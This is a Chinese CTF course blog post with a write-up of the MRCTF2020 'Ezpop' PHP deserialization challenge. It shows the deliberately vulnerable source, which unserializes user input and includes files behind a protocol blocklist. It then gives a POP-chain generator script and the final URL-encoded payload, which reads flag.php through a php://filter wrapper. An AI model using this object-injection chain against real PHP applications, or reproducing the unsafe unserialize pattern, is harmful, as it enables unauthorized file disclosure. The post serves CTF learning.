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          小测验（大比武_CTF课_第九天）
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<p>今天讲题及小测验。前三题还行。最后一题有点崩溃,着重分析一下最后一题。</p>
<a id="more"></a>
<h1 id="MRCTF2020-Ezpop"><a href="#MRCTF2020-Ezpop" class="headerlink" title="[MRCTF2020]Ezpop"></a>[MRCTF2020]Ezpop</h1><p>虽然叫Ezpop但是对于我们这种没学过PHP的人来说，还真是难。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//flag is in flag.php</span></span><br><span class="line"><span class="comment">//WTF IS THIS?</span></span><br><span class="line"><span class="comment">//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95</span></span><br><span class="line"><span class="comment">//And Crack It!</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Modifier</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span>  $var;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">append</span><span class="params">($value)</span></span>&#123;</span><br><span class="line">        <span class="keyword">include</span>($value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;append(<span class="keyword">$this</span>-&gt;var);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Show</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $source;</span><br><span class="line">    <span class="keyword">public</span> $str;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($file=<span class="string">'index.php'</span>)</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;source = $file;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">'Welcome to '</span>.<span class="keyword">$this</span>-&gt;source.<span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;str-&gt;source;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(preg_match(<span class="string">"/gopher|http|file|ftp|https|dict|\.\./i"</span>, <span class="keyword">$this</span>-&gt;source)) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">"hacker"</span>;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;source = <span class="string">"index.php"</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $p;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;p = <span class="keyword">array</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span><span class="params">($key)</span></span>&#123;</span><br><span class="line">        $function = <span class="keyword">$this</span>-&gt;p;</span><br><span class="line">        <span class="keyword">return</span> $function();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'pop'</span>]))&#123;</span><br><span class="line">    @unserialize($_GET[<span class="string">'pop'</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">    $a=<span class="keyword">new</span> Show;</span><br><span class="line">    highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure>
<p>源码就是如此了。<br>PHP不熟悉，结合资料和自己的理解简单分析一下。<br>1、Show类，关键点是__toString()。这里负责执行我们构造的特殊方法。<br>以下来自于官方手册：<br>__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串</p>
<p>2、Modifier类，关键方法是__invoke()。这里负责调用append函数最终include我们要的flag。<br>以下来自于官方手册：<br>当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。</p>
<p>3、Test类，关键点是__get。这里的作用是将一个类当成函数来调用。<br>以下来自于官方手册：<br>读取不可访问属性的值时，__get() 会被调用。 </p>
<p>由于序列化与反序列化是不能操作除类和属性以外的东西。所以我们只能通过操作各个类来搞定这题。<br>下面列出生成playload的程序</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#程序用原程序，这里只列出关键修改点</span></span><br><span class="line"><span class="comment">#设置我们读取的flag。</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Modifier</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span>  $var=<span class="string">"php://filter/read=convert.base64-encode/resource=flag.php"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">#将Show做为主类，因为后面的操作都围绕着它来。</span></span><br><span class="line">$fuck = <span class="keyword">new</span> Show;</span><br><span class="line"><span class="comment">#将str 实例化为Test类，当调用__toString函数时以执行$this-&gt;str-&gt;source;</span></span><br><span class="line">$fuck-&gt;str =<span class="keyword">new</span> Test;</span><br><span class="line"><span class="comment">#将Test类中的$p 实例化为Modifier，当调用__get函数时会将Modifier实例以函数执行。</span></span><br><span class="line">$fuck-&gt;str-&gt;p=<span class="keyword">new</span> Modifier;</span><br><span class="line"><span class="comment">#这步其实是是为了触发__toString函数。</span></span><br><span class="line">$b=<span class="keyword">new</span> Show($fuck);</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize($b));</span><br></pre></td></tr></table></figure>

<p>最终生成的playload</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#用于检查</span><br><span class="line">O:4:&quot;Show&quot;:2:&#123;s:6:&quot;source&quot;;O:4:&quot;Show&quot;:2:&#123;s:6:&quot;source&quot;;s:9:&quot;index.php&quot;;s:3:&quot;str&quot;;O:4:&quot;Test&quot;:1:&#123;s:1:&quot;p&quot;;O:8:&quot;Modifier&quot;:1:&#123;s:6:&quot;*var&quot;;s:57:&quot;php:&#x2F;&#x2F;filter&#x2F;read&#x3D;convert.base64-encode&#x2F;resource&#x3D;flag.php&quot;;&#125;&#125;&#125;s:3:&quot;str&quot;;N;&#125;</span><br><span class="line">#用于提交</span><br><span class="line">O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D</span><br></pre></td></tr></table></figure>

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